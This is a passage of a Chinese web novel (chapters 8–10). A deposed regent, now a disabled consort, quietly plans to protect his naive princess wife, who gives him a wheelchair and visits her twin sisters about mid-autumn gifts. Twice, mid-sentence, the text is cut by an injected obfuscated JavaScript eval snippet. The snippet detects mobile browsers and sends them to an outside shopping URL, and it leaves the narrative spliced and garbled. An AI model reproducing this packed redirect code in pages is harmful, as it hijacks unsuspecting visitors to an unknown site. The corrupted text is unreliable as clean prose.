她看着他,眼神清亮,坦荡得让人根本生不起她的气来:“可就像你的腿不会好一样,我也只是个无依无靠的穷丫头呀!所以能招赘到你,我已经特别满足欢喜了,你也想开些,你只是腿不能走了,却多了个漂亮又能干的娘子呢!”
她的本意大抵是劝他知足,奈何经她口中一说,裴怀彻只觉本就酸涩的心头,又被不轻不重地杵了一下。
至于后来为何还是渐渐接受了自己双腿重残的事实,纯属是因为每回用她“安慰”,他的痛处都要连带肺管子被杵一次,时日久了,他人麻了……
今日也是如此,他早已习惯不将她那些“健步如飞”的措辞放在心上,只从容搁下乌木筷,将盛着鸡腿的碗推至她面前,眉眼间倦意浅淡:“吃了许久,鸡腿又不好落筷,为夫手疼,余下的便有劳娘子喂我了。”
由于想着次日要陪他试坐轮椅,还要推他在这偌大的公主府中好好转一转,一同用过晚膳,翠花便未在他房中久留。
裴怀彻亦无意让她继续留宿,相较自己能否因得她“偏疼”和“眷顾”而在这公主府中多受到一些尊敬和优待,他更在意下人们会如何看待她这位公主。
一个夜夜沉溺于与残疾面首缠绵的公主,落在旁人眼中,总归是失了体统,上不得台面。
情之一字,不知何所起,却一往而深。
正如翠花所说,他们最初或许都未将彼此视作情意深重的良配,但两年光景的相濡以沫,那些细碎光阴里积攒下的点滴,早已让他们在对方心中成了无可替代的存在。
翠花回到自己寝殿,想着为裴怀彻备下的惊喜,心下安然,一夜好眠。
翌日,天光未亮透,她便醒了。
恰逢宝钿送来裁缝新改好的夏装,她一眼相中了其中那件粉底绣浅绿缠枝花纹的,又唤宝钿为她细细梳妆。
铜镜中,随着宝钿灵巧的双手翻飞,云鬓渐成,珠翠轻点,镜中的人儿愈发显得明艳不可方物。
翠花端详片刻,由衷赞道:“在宫里住了几日,还是觉得你的手最巧,母皇临时指来的宫女,梳的头总不及你梳的称我心意。”
宝钿抿唇一笑,将一枚翠珠发簪稳稳插入她髻间:“公主谬赞了,是您天生丽质,怎么打扮都是好看的。”
翠花似是随口提起:“我听四妹妹和五妹妹说,像你这样贴身伺候的大丫鬟,月钱都是寻常丫鬟的两三倍,咱们府里也是这般规矩吗?”
宝钿恭敬回话:“府中确有类似成例,不过奴婢只是随公主入京,伺候您的时间较久而已,还算不得您真正的贴身大丫鬟。”
她原是伺候女皇的宫人,因沉稳机敏,忠心可靠,才有幸被选派随柳清姿等侍卫官一同接迎公主回宫。
这固然是给了她近水楼台的先机,但往后能不能真正坐上大丫鬟的位置,终究要看她是不是称公主的意。
翠花点点头,语气温和笃定:“那从今日起,你便是了,待会儿我去同狄管家说,自下月,你的月钱按大丫鬟的份例来。”
宝钿即刻屈膝行礼:“奴婢谢公主恩典,日后定当竭心尽力,伺候好公主。”
翠花伸手虚扶她起来,笑容真诚:“你已经伺候得很好了,我长在乡野,许多规矩都不懂,我相公告诉我,身边需有个能信得过的人时时提点,往后还要你多费心。”
这便是明白告诉她,她不只要和自己一条心,更要和自家相公一条心的意思,而只要她忠心不二,他们就绝不会亏待她。
翠花出身民间,自然不曾学过什么御下之术。
裴怀彻心知无法一夕之间将她教得滴水不漏,索性化繁为简,只替她留意府中哪些人可信可用,再告诉她:若这些人行事妥帖,令她舒心,除了夸赞赏赐之外,还可顺势提出下一番期许,这叫恩威并施。
翠花默默记下,心里却转出一个念头,恩威既是好东西,那么总不能她一人独享,于是她现学现卖,自作主张地也照搬了一套在裴怀彻身上。
在宝钿那儿试水之后,翠花面对公主府的老管家狄信,也如法炮制。
见他不仅将购置轮椅一事办得妥当,还唯恐摔到裴怀彻,先细心命人试推几轮,确认安稳了才送入院子,她亦语气真挚地称赞了他一番思虑周全。
因而这一日清晨,当裴怀彻的房门被轻轻推开,他抬眼所见便不只是他置身晨光中笑眼盈盈的小娘子,还有她身后的几名下人遵照她吩咐,抬进来的三把轮椅。
她就那么俏生生地立在熹微里,云鬓轻挽,轻拢慢拈地插着一支别致翠珠簪,明明是清丽脱俗的容貌,偏那眉眼间又流转着溢于言表的得意与期待,顾盼间灵动生辉,似碧水映春桃,娇憨狡黠至极。
狄信办事周到,早备好木板垫在门槛两侧,方便轮椅进出。
而待一切布置妥当,他又识趣地领着众人退下,将房间留给他们二人再说体己话。
翠花弯着眼凑近,语带雀跃:“你看,昨日你乖乖吃了鸡腿,今天我不就要带着你‘健步如飞’了吗?”
裴怀彻何等敏锐的人,早在昨夜共膳时,他便从她时不时掩唇偷笑的模样里,瞧出她必是在悄悄筹划着什么能哄他开心的事。
只是万万没想到,她打算送予他的惊喜竟是轮椅。
他本来早已认命要一辈子困于方寸院落中,此刻着实被这突如其来的心意熨帖得心头一暖。
不由得唇线微松,昨夜那声几不可闻的叹息,终归化作了今夕唇角淡而又淡的笑意。
翠花见他神色缓和,愈发欣喜:“我让厨房把早膳摆去花园里了,你在轮椅中选一把,我推你去。”
裴怀彻从善如流:“藤条的吧。”
藤条轮椅虽较实木的颠簸一些,但自重也要轻上许多,他在入府后曾问狄管家要来府邸图纸瞧过一眼,花园离此处不近,他可不愿她饥肠辘辘地费力推车。
翠花回府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239383|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过三日,头一日因为收了卫江冉的簪子与他闹了不快,次日又苦思冥想要如何哄他回心,也是直至此时,才得以细细打量这座属于她的府邸。
入宫八日,她虽见识过女皇娘亲的御花园,也小住过皇太女姐姐的东宫偏殿,可那些终究是别人的地界,自然不及漫步在自己的府邸中来得自在踏实。
她推着他沿长廊小径缓缓而行,一路絮絮叨叨,将憋了两日的话尽数倾倒。
“相公我和你说,我现在不仅有了娘亲,还多了四个兄弟姐妹呢,虽然我这次进宫,大姐和三弟都不在宫中,所以没能见到。”
“母皇真的待我极好,柳大人说,我三弟去年受封开府,不仅府邸还不及我这边一半大,位置也没有我的好,在城西北角……我想定是因为太远,他来回跑一趟怪费劲的,母皇才没召他回来与我相认。”
“不过我见过我两个妹妹了,没有我和皇太女姐姐那么像母皇,但也是美人胚子,明明是一胎双生,长得一模一样,性子却一静一动,完全不会叫人认错。”
“说起来还是五妹妹告诉的我,湘京城中有木具铺售卖轮椅,别看她才十二岁,经商做生意却特别厉害,自己盘了好多店面,也对城中各宗商铺了如指掌。”
“对了,你猜他们的爹送了我什么作见面礼?是一串佛珠!母皇说,我这位后爹原本是个和尚,那年夏至她去寺中祈福,抬目一瞧,就见那随主持做法事的小和尚好生俊美,祈完福便直接将人带回宫了。”
“我觉着我头一回见你就走不动道,大抵也是随了根……咦?你的脸色怎么又不好了?这么听不得我夸别的男人好看?吃我姐夫的醋就罢了,那可是我娘亲给我找的后爹!”
她说得兴致勃勃,直至将裴怀彻推至花园中的石桌旁,又俯身将他的轮椅固定好,才发觉他方才有所缓和的面色再次沉了下来。
其实关于她是否会如他那皇侄一般,终有一日被皇权欲念蚀坏了心,裴怀彻昨夜已想通几分。
他过去不曾争过皇位,只因感念他皇兄曾在杀尽其他兄弟后留下他一命,又全他母妃一个善终,为此整整十年恪守本分,扶幼主坐稳皇位,稳大渊国泰民安。
可最终却只换来了叔侄离心,他殚精竭虑打下的基业,也不出两年就被那不争气的皇侄败去大半,甚至不得不靠给他追帝位,来震慑虎视眈眈的内外势力。
而今如出一辙的情势仿佛就要重演,他也依旧割舍不下那份至亲至爱的七情六欲,那么既然断不掉又不甘重蹈覆辙,他是不是也可以去争一次?
为她争来一方安宁,也为自己……争来她的一世倾心。
更何况她这会儿还满心满眼皆是他这个相公,若是他先自暴自弃地退缩了,那无异于也是他先做了负心人。
晨起见她推来轮椅的那一瞬,笼罩于他身上的阴霾本已被她眼中的光华驱散殆尽。
不料这份如释重负居然尚未续满一炷香的工夫,旋即便因她后续的话语渐渐冷却。
她受到女皇宠爱或许不假,但她三弟的府邸不及她的一半大,又被远置城隅,无疑说明作为兄弟姐妹中的唯一位皇子,他反倒是极不受女皇喜欢的一个。
而女皇千里迢迢寻回翠花兹事中大,他却始终不入宫与二姐相认,难道不是她乍然回宫,就遭了弟弟眼红嫉恨的可能性更大?
再说她五妹擅长商贾之事,对城中各色商铺数若家珍,她竟问询后直接差人去了她五妹推荐的铺子里购置轮椅,想来只要她五妹稍微好信儿,她疼爱有加的通房面首是个残废一事,就瞒不过对方。
还有那位赠她佛珠,以和尚之身被女皇收入后宫的继任男后……
他早有耳闻,梁国女皇的后宫充盈,此人不仅能脱颖而出继稳皇后位置,更叫女皇在翠花之后只生了他的孩子,这般手段,又岂会只是个淡泊尘事的还俗僧人?
裴怀彻只是听她粗略道来,便已深觉其中暗流涌动,只想叹这天家的富贵,果然到了哪里都不存在什么太平。
所以将他家小娘子放之宫中是缺了多少心眼,那暗藏机锋的九重宫阙落到她口中,竟成了这般其乐融融,兄友弟恭的模样?
还他为何变了脸色……他感慨一下自己的劳碌命不行吗,仅仅歇了两年,他又要拉扯“孩子”,与天与地与人斗,“其乐无穷”了。
9.第九章
柄政十二载,裴怀彻身处皇家权力的漩涡中心,几乎是与各路牛鬼蛇神斗了十年。
论文斗,他与盘剥百姓的酷吏周旋,与结党营私的朝臣抗衡,亦不曾放过勾结地方官府,横行一方的豪强世族。
论武斗,他曾亲率三千铁骑深入西方大漠,歼敌纳降西邦联军近十万,杀得诸部族俯首称臣,退守腹地,数年间不敢再犯他大渊边境。
可此时此刻,他面对自家小娘子的处境,却还是生出了前所未有的无力感。
除却这次要带的“孩子”同样指望不上,能不拖后腿已是烧高香之外,更多则是他自己同样远不比从前。
他已不再是手持先帝遗诏,能够名正言顺摄政临朝的煊王。
如今的他不过是公主榻间一个上不得台面的通房面首,更因腿疾不得不长困于府中,莫说及时根据外界的风吹草动辩明情势,恨不得他所知的每一点讯息,都需经手他人。
思及此,裴怀彻眼底掠过一丝阴霾,却又迅速淡去,勉强缓了面色,顺着翠花的话问道:“你此番入宫,与所见之人都相处融洽?”
翠花只当他方才神色略沉是因初坐轮椅不适,不假思索地点头,眉眼弯弯:“是呀,我以前也没发现自己这么招人喜欢,大家恨不得挣着抢着对我好!”
裴怀彻扣在轮椅扶手上的指节微微收紧,又问:“那谁待你最好?”
翠花歪着头认真想了想,掰着纤细的手指细数:“最好的自然是母皇,除此之外,睿男妃赏的礼最重,德男妃嘘寒问暖起来最是热络……”
数到一半,她又摇摇头,眸光清透明澈:“不过我觉得也不能这么比,睿男妃最得母皇宠爱,赏到他宫中的好东西本也最多,我那和尚后爹至今吃斋念佛,后宫事务都由德男妃掌管,他自然要多关照我的起居。”
她自小被为人厚道的刘老倌抚养长大,也从爹爹那里学来了知恩图报的做人准则。
别人对她好她都会记得,也懂得每个人的性情处境不同,从不愿将别人的善意分个高下亲疏。
乡野百姓,大多数人终其一生都没机会走出镇子,乡里乡亲也多是一辈辈传下来的情分,所以淳朴一些确是安身立命之本,可在这吃人的皇宫深门……
裴怀彻眼底微沉,毕竟还要顾及她的接受限度,不忍一下子说得太深太破。
到头来他只得暂压繁杂心绪,将言辞重点放于从她天真烂漫的话语间,套出更多的有用讯息上。
不料他正欲再问,一枚暗红莹润的冰镇小果突然被递到唇边。
早膳将尽,翠花见他只捡着近旁的两三道菜略动了几筷,便从桌中玉碟里拈起这颗冰鲜果子喂他。
她一双乌眸亮晶晶的,纤指托着那颗剔透红果,献宝似的笑问:“知道这是什么果子吗?”
裴怀彻的心神尚且停留在自己此刻鞭长莫及的宫闱之中,垂眸一瞥,几乎是下意识脱口:“樱……”
幸而只说出一字,他便骤然反应过来。
这果子唤作樱桃,乃是梁国陇州的特产,生长环境极为挑剔,唯在向阳坡上每年六七月份成熟一季,绝非寻常百姓所能见。
而以他如今“村夫”的身份,断然不可能见过吃过。
于是他即刻改口,语气带上几分恰到好处的迟疑:“应该……不知。”
翠花被他罕见发懵的模样逗得噗嗤一笑,颊边梨涡浅现:“又跟我长见识了吧?这叫樱桃,我在宫里吃到时就特别喜欢,母皇见了,特意叫人在供果里又精挑细选了两斤最大最红的让我带回来。”
裴怀彻张口含住那枚樱桃,轻轻一咬,冰凉甜润的汁水便在齿间蔓延开来,却化不开他眉宇间的凝肃。
他倏然惊觉了另一个同样棘手的问题,便是他自己欲亲自探查那些皇亲贵胄属实不易,可翠花和他却是要日日见面的。
也就是说随着她眼界渐开,他若不谨慎言行,只怕未等他把外面的那些豺狼虎豹如何,他自己的身份反倒可能先引她生起疑心。
早膳后,翠花推着他在府中逛逛停停,亭台楼阁,曲径通幽,足足花了近一个时辰,才将这偌大的公主府走了个大概。
最终他们停在了后院的莲池边,翠花走得热,索性除了鞋袜,将一双白嫩嫩的脚丫浸入清浅池水中,水波映着日光轻漾,碎金般在她足边跳跃。
她满足地发出一声喟叹:“相公,咱们之前住的村子后面其实有一条小溪,溪水也很清,前两个夏天,我总想着要是也能带你去溪边玩水该多好。”
裴怀彻收敛心神,目光掠过她浸在水中的纤足,声线温柔:“我知道,去年冬天,狗娃说他馋肉去溪边凿冰抓鱼,还被他爹揍了一顿。”
翠花闻言笑靥如花,美目中光彩流转:“哈哈,我小时候贪嘴了,也跟村里的男娃这么干过,我爹虽气,却舍不得打我,只带着我去到他们家里告状,说都是他们带坏了他的乖女。”
她边说,边将裙裾又挽高了一些,露出一截嫩藕似的小腿,珠圆玉润的脚趾轻轻拨动池水,漾开圈圈涟漪,神情惬意舒展。
裴怀彻静静望着她在水中灵动的倒影,轻声道:“若你喜欢池中有鱼,我便去同狄管家商量一下,让他买些鱼苗放进去。”
翠花却摇头:“娇气的观赏鱼我不喜欢,便是放了肉鱼,这死水养出的肉也不鲜,还不如让膳房买现成的。”
她侧过脸,笑容在日光下格外明媚:“其实有鱼没鱼不是重点,我是想说,如今什么福都能带着你一起享到,真好。”
望着她单纯干净的笑颜,本来聚在裴怀彻心尖的焦躁竟奇异地平复了些许。
他想,她既如此喜爱今日的富贵安稳,他便也没什么可抱怨的了。
毕竟他余生所求,从来不是什么安贫乐道,不过是她,安身于她。
翠花对重新规划池塘兴致缺缺,却看中了池塘旁边的一块空地,兴致勃勃地要辟作小菜园。
她给出的理由也很充分:“虽说府上每日送来的蔬果也顶新鲜,但我还是想自己种些,不仅平日能活动筋骨,免得我要不了多久就因为只吃不动,把自己养成大胖公主,等收成了送进宫里,也可以哄母皇开心。”
她显然将他先前的话都记在了心里,孝敬女皇这种吃穿用度皆应有尽有的长辈,心意永远比具体献了什么更重要。
裴怀彻颔首,目光掠过那片沃土:“梁国气候温润,不少作物都可以一年两熟,今年春种时节已过,你先从那些选,选好告诉我,我再为你划地。”
他似乎总是有办法,为她将日子打理成更加顺心遂意的模样。
翠花望着他笑得眉眼弯弯,只觉老天爷降下的万千福泽里,终究是眼前这段天赐良缘最最称她心意。
在府中漫步一番后,翠花见裴怀彻眉宇间仍有霁色,心底便悄悄萌生了往后要再与他同游湘京的念头。
只是若要成行,不仅需将他日常所坐的轮椅改造得更为灵便一些,府中现有的马车也需做出改制,绝非三五日就可仓促备妥的。
好在翠花并不心急,她与裴怀彻眼下都尚有事情做,倒也从容。
裴怀彻忙着与狄管家商议沟通,为她重新规划府邸布局,而她在府中休整几日后,也迎来了女皇自宫里派来教导礼仪的教习嬷嬷。
宝钿果然没有辜负翠花的信任,她原本就是这位杜嬷嬷的得意门生,嬷嬷入府首日,她便替翠花在嬷嬷跟前周全了裴怀彻的说辞。
嬷嬷在宫中当差二十余载,深知此事若是多嘴,非但于女皇跟前讨不得好处,反倒还会招惹公主不悦,便从善如流地收下赏银,只尽职尽责地专注于分内之职。
当然,她肯卖这个面子,也因几日相处下来,公主与府中这位不良于行的通房面首,皆给她留下了相当不错的印象。
公主自不必说,天家贵胄,不但天资颖悟,学什么都快,性情也烂漫纯真,待下宽和,从不端着贵人的架子,叫人很难不心生喜欢。
而那被府中上下唤作“淮爷”的通房面首更是待人接物之周全得体至极,气度风华尤为出众清贵,几乎不像是市井民间能养出的人物。
这就让杜嬷嬷暗叹这天家血脉果真天佑,他们公主竟能从渊国的边陲之地觅得这么一位,简直堪称匪夷所思。
简而言之,寻常人等初闻流落民间的公主竟一朝回朝,仍对昔日招赘于乡野的残疾村夫偏疼如初,多半会心下诧异,至多叹一句“公主重情”。
可真正见过裴怀彻之后,那些诧异便会尽数化作遗憾和惋惜。
若非造化弄人残了双腿,以此人的品貌才识,又怎会屈居于公主府中,只作一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254629|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
介不便见光示人的通房面首?
如此一想,杜嬷嬷更觉着二公主是个有福气的。
宫中之事,很多都不能只瞧表面,即便得女皇陛下疼爱,公主人也聪慧,但初入宫阙,总归易遭人蒙蔽坑害,能有裴怀彻这般心思缜密,又真心待她的人在旁筹划,实属可遇不可求的幸事。
这日随嬷嬷学毕礼仪,已隐隐有了几分公主气度的翠花步履轻快地踏入裴怀彻房中,眸中水光莹润,俨然是有事要同他商量。
裴怀彻正执书翻阅,闻声抬眼,见是她来,便轻轻将书卷搁在案上:“离中秋宫宴还有十日,杜嬷嬷提醒你,该同我商议为宫中长辈备礼的事宜了?”
翠花一怔,随即笑开,桃花色的眼尾弯如新月:“我还一个字没提呢,你怎么连这都能未卜先知?”
因我终日所思,除却浅眠的那两个时辰,恨不得将余下的十个时辰皆系于你身,想着该如何护你周全,助你稳妥做好这个公主。
这话在裴怀彻喉间滚了滚,终是不会直接言说给她。
便只抬手轻按因殚精竭虑过久,而微微胀痛的太阳穴,沉声道:“只当我杂书看得多……略通些推算吧。”
翠花信以为真,眸光倏亮:“你竟连这个都会?怎么不早说!早知你有这本事,当初在村里我就不叫你教书了,教书哪有算命赚钱,你若算得准,只怕母皇找到我的时候,咱俩都盖好砖房,生完娃娃了!”
裴怀彻知她如今晓得分寸,只会在私下里才这般口无遮拦,却仍蹙眉:“届时女皇陛下寻回爱女的喜悦未退,便要接着听闻噩耗,公主竟与个天残地缺的江湖骗子给她生了外孙?”
翠花凑近他,神色俏皮:“天命的事怎么是骗?母皇年少轻狂那会儿自己都从寺里抢和尚,都是凭口舌安人心的买卖,无非是剃不剃头发的分别。”
裴怀彻终是正色提醒:“女皇陛下虽是你的娘亲,也是天子,不可妄议,慎言。”
翠花最不喜没有旁人时他仍这般拘礼,嗔怪地睨他一眼:“偏你规矩多,母皇是皇帝,我还是公主呢,昨夜你可不只没有‘慎言’,也没‘慎行’……”
她口中抱怨,人却已轻倚至轮椅扶手边,胸前丰盈碰触他的肩膀,存心要惹破他这副道貌岸然的端方模样。
裴怀彻顺势而为,伸手将她揽入怀中,一时二人身影交叠,只是窗外天光尚明,终究只交换了一个缠绵亲吻。
耳鬓厮磨片刻,两人重拾方才的话题。
裴怀彻先为她理清了需要备礼的人:“女皇陛下的礼自当精心筹备,此外便是后宫里的一后四妃,品阶再低者,宫宴上便不必备礼了。”
翠花略有迟疑:“可我住在宫里的几日,好些位份不高的男嫔和御夫也赠我东西了。”
裴怀彻耐心为她分说其中关节:“梁国官制,皇子皇女皆属正一品,节庆宫宴公开献礼不同于私下往来,除生身父母外,只需孝敬正一品以上的后妃即可。”
翠花似懂非懂地点点头,忽而抬眼看他:“你也怪神的,咱俩之前一个村姑一个村夫,明明起点一样,怎么我这正牌公主跟专人学了这些时日还磕磕绊绊,你这无人教导的‘准驸马’,反倒比我适应得更快?”
裴怀彻自然不敢再推说他会算,况且这些事本也不可能经卜算得知。
遂不动声色地移开话锋,落回备礼细则:“至于具体要送什么,不宜由你我独断,你明日不妨进宫一趟,与你的两位皇妹商量。”
于公主府长袖善舞的这段时间,裴怀彻已从府中曾在宫里当职的下人们口中,拼凑出了翠花几位兄弟姐妹的大致情况。
那位远在琼州养病的皇太女风评极佳,但凡提她,皆是些德才出众,恩泽广被的溢美之词,无疑是女皇属意,朝堂上下也认可的贤明储君。
四皇女与五皇女虽性情各异,却皆伶俐恭顺,自身不愿,女皇似也无意让她们涉足繁剧国事,只悉心教养,任其各自发展所好。
至于他之前就担心其会嫉恨翠花受宠的三皇子,情形也确实较为复杂,但被女皇和群臣不喜属实,连宫宴是否会列席都未可知。
既想翠花也只做个安稳闲散的公主,裴怀彻便觉让她与那对双生皇妹多些走动不是坏事。
初入宫廷,依例而行,总好过自行其是,徒惹是非。
10、第十章
翠花自幼跟着刘老倌在镇上市集吆喝卖豆腐,加之生来就是一副开朗的性子,虽与这九重宫阙里的弯弯绕绕格格不入,倒也不至于怯生恐人。
而裴怀彻虽不能随她一同入宫,却也将一切能打点的都为她打点周全。
他先是请每日回宫的杜嬷嬷去到四公主郦婵,五公主郦媛那儿打了招呼,得到两位公主的应允,又把将要陪翠花进宫的宝钿叫到跟前,事无巨细地嘱咐了一番。
结果翠花全当是此次回宫找妹妹是闲话家常,一派轻松自在,反倒是裴怀彻前夜几经辗转,合眼不足一个时辰,心绪紧绷之甚,竟比当年小皇帝初登大殿,临朝听政还要忧虑几分。
次日送翠花出府,近日常与他共事的狄管家瞧他眼下泛青,忍不住劝道:“淮爷,莫怪老奴多嘴,您再这般熬下去,当心陪不了公主几年。”
思虑过重,最是伤神,更何况这位“淮爷”的身子骨,任谁看都经不起他照如今的架势折腾。
裴怀彻心中仍在盘算可有遗漏,乍闻此言,竟微微一怔,半晌,他才牵了牵唇角,言辞语气间喜怒难辨,只笑意干涩地道:“那我不是更该趁早替她把前路淌平?省得将来我不在了,还要劳你们继续费心?”
狄管家连声道“使不得”:“我的爷,咱可不行说什么‘创业未半而中道崩殂’的话啊,不然老奴们舍不得你事小,公主那么疼你,可得伤心坏了。”
裴怀彻只淡淡挑眉,未再多言,可这天晌午,竟不仅比平日多进了半碗饭,还在饭后小憩了半个时辰。
殚精竭虑,为人作嫁的傻事,他做过一回就够了,这条命既然是被她捡回来的,他总归是有几分惜命的。
他受不了将来再有旁人踩着他的功劳簿同她亲近,做那些唯独他才能对她做的事。
而入宫见妹妹们的翠花,也确实不似他所忧的那般担不住事。
女皇乐得见她们姊妹和睦,听闻翠花特意进宫探望两个妹妹,便特意赐下一桌御膳房精制的点心。
郦媛性子活络,拉翠花坐下便笑道:“我与阿婵这回绝对是沾了二姐的光,往日母皇赏点心不过一盘两盘,今日竟摆了满桌!”
其实郦婵和郦媛长于宫中,平日饮食并不差什么,不缺这些瓜果零嘴,可母皇亲赐的意义终究不同。
姊妹三人围坐说笑,殿内暖香盈盈,窗外花影微动,一时间言笑晏晏,皆是真心欢喜。
翠花天生有几分哄半大孩子的禀赋在身上,一会儿夸郦婵的画作精美意境好,一会儿对郦媛搜罗来的新奇玩意儿啧啧称奇,不过片刻,就将两个妹妹哄得眉开眼笑,甚至隐隐在她面前争起宠来。
先是她注意到桌上母皇赐下的点心大多进了她和郦媛的肚子,目光落在郦婵手边那盘半晌未动的糕点上,不禁笑道:“婵儿妹妹吃起东西来可真秀气,像是不食人间烟火的小仙女儿一样。”
郦婵被她夸得俏嫩脸颊染起绯云,还未开口谦虚一下,便被郦媛笑嘻嘻地拆台:“二姐你可别被她骗了,她那才不是秀气呢,分明是怕胖!”
翠花望向郦婵那不盈一握的腰身,讶然:“婵儿妹妹都这么纤细了,还怕长胖呀?”
郦媛一摊手:“人家要当才女的嘛,不‘人比黄花瘦’,怎么显得出才情与清高?我早说她这样身子长不开,她偏不听,不听就算了,反正将来被驸马嫌弃的又不是我。”
郦婵俏脸微红,显然是嫌弃她措辞粗鄙,没好气地睨她:“当着二姐的面胡说些什么,你是吃得比我多,也比我重上几斤,可除了腰较我粗,那儿不也与我差不多?认命吧,咱们就不是二姐那样会长的。”
两个小姑娘说着,不约而同地瞄向翠花胸前,虽顾及皇家女儿家的体统不敢直视,可翠花顺着她们视线低头,还是只瞧见自己衣衫之下的曲线丰盈,顿时无奈又了然。
她们都只有十二岁,可不正是对身量变化最为敏感,也开始对相关话题萌发好奇心的年纪吗?
翠花心下莞尔,人家这两个自小长在宫中的公主既愿与她聊这些私密话,便是真心将她视作关系亲近的姐姐看待,那么她这个打民间回来的公主又何必故作矜持,扫了妹妹们的兴致?
于是她吩咐宫人掩了殿门,三姐妹都只留了贴身侍女在侧伺候,一直说说笑笑到未时,郦婵与郦媛才依依不舍地放她离去。
除却身段,两个情窦初开的小姑娘也对翠花已于民间招赘成亲,并且一并把这位赘夫带回皇城一事十分好奇。
郦媛眨着眼问:“看来二姐的这位夫君定然十分可心,你每每提起他眼角眉梢都是笑,难不成比咱们湘京高门养出的公子们还要俊?”
郦婵也眸光亮晶晶地接话:“比之大姐夫又如何?他可是湘京中数一数二的出众男子了。”
翠花毫不犹豫地答:“反正我来到湘京这些时日,仍没见过比他更好看的男子,至于大姐夫……虽也是俊朗的,但至少在我眼里,尚且不及他。”
她这话并非一味地护犊子,卫江冉是标准的翩翩公子长相,五官清雅端正,确是多数女子一见便会倾心的好样貌,可看久了,又总觉得有些寡淡,英气有余却少了几分惊艳。
而她家相公的俊美则带着几分逼人的锋利锐气,天生的美人骨相,满满皆是灼目蛊惑的昳丽感。
以至于她常觉得,若他的出身稍微好些,有机会科举入仕,那周身气派,只做个彬彬文臣都可惜,合该是那种文能提笔安天下,武能马上定乾坤的全才。
当然,说笑归说笑,翠花并没忘记中秋备礼这件重中之重的正事。
郦婵与郦媛也不藏私,不仅将各位长辈的喜好与自己的备礼清单细细告知,还不忘提醒翠花最好在她们的规格上将礼备得更厚些。
郦婵温声道:“二姐姐虽才回宫不久,但毕竟已在母皇的恩准下开府,这次中秋宫宴许多宗亲朝臣都看着,礼数上别叫人挑了错处才是。”
郦媛更是爽快道:“姐姐若有不知上哪儿采买的东西,就去桂香里南街,找户部袁尚书家的公子,他是我与阿婵以前的伴读,如今也算是我在京中经营铺子的合伙人,你报我的名字,随便差遣他便是。”
翠花却之不恭地应下妹妹们的好意,礼尚往来,便与她们约好,下次再入宫寻她们玩,会亲手为她们包小葱豆腐馅的包子尝鲜。
梁国点制豆腐多用石膏,不似渊国以卤水为之,因而质地格外嫩滑,素来只作汤羹之用。
听翠花说起竟还能以豆腐入馅包包子,包饺子,两个从未尝过此味的小姑娘不由睁大了眼,都表现得兴致十足。
翠花见她们这般模样,自是不怯给她们展示一番自己的手艺,又考虑到饺子不便带,放凉也尤其影响味道,就定下先包些包子带来。
翠花回府时,裴怀彻方歇过午憩,初醒不久。
心中搁着事便难有酣沉长眠,这是他摄政十二载刻入骨子里的习惯。
不是没有御医苦心劝诫,道他长此以往耗损根本,亦进过不少安神的方子,可归根结底是压在他肩上的种种担子不容他安枕,他若不时时警醒,将自己维持在随时可待命国事的状态,又有谁能替了他?
许是早些年仗着年纪尚轻,除了劳累过度时会偶尔犯点头疼,他倒也不觉什么。
直至两年前鬼门关前走了一遭,那些他往日亏在身体上的旧债,才皆变本加厉地反扑了回来。
只不过那两年他也没什么长远念想,满心所求不过是活一日,便哄着他家小娘子开开心心地过一日。
是以今日狄管家的提醒才叫他猝不及防,惊觉若再这般下去,莫说肖他那不仅长寿,而且相当老当益壮,几乎无疾正寝的父皇,怕是连他那盛年而逝,未及天命年岁便将幼子托孤给他的皇兄都活不过。
然而调养身体本就不是什么能一蹴而就的事情,纵使他已尽他所能安排得周密,翠花此番入宫生出变数的可能微乎其微,他仍难在她身处宫中时踏踏实实地调养精神。
只是他肯主动歇息片刻,翠花听闻已是满心欢喜,一再向照顾他饮食起居的小厮确认他醒了,才步履轻快地踏入他房中。
略作休息后,裴怀彻的面色虽仍苍白,却到底比清晨她离去时缓出几分生气。
翠花静静瞧了他一会儿,想起自己在妹妹们面前对他的夸赞,唇角不由弯起轻浅弧度,伸出纤指,轻轻点上这张近在咫尺的俊颜。
裴怀彻眼底掠过一丝无奈,却没有避开:“都是公主了,还动辄这般盯着我的脸瞧,也不怕人笑话你打民间回来,没见过世面。”
翠花指尖轻抚在他薄唇上,语带娇嗔:“我相公都这么好看了,还用再见别人的世面吗?况且咱们可是找宝钿确认过的,她也说单论容貌的话,这湘京城里确实寻不出比相公你更俊的男子了。”
先前因卫江冉送簪又赠诗一事,裴怀彻曾狠狠醋了一回,翠花思来想去,觉着这和自己当时口不择言夸了姐夫好看也有很大干系。
故而待二人关系和缓,她便将宝钿带到他面前,让宝钿明明白白地告诉他,这府外究竟有没有能凭容貌撼动他地位的“野男人”。
然后裴怀彻与宝钿对视片刻,便皆在彼此眼中看到了一丝无言的心累。
宝钿并非觉得所言不实,只是从未想过,身为公主的贴身大丫鬟,职责竟还包括帮主子哄“内宠”开心。
而裴怀彻更不愿承认,做了两年夫妻,他这个摄政十二年,治下大渊政通人和的煊王,在娘子心中最显著的优点,竟还是这张脸。
他微微动唇,化开她指腹留下的温软触感,转开话头:“进宫这一趟,可还顺利?”
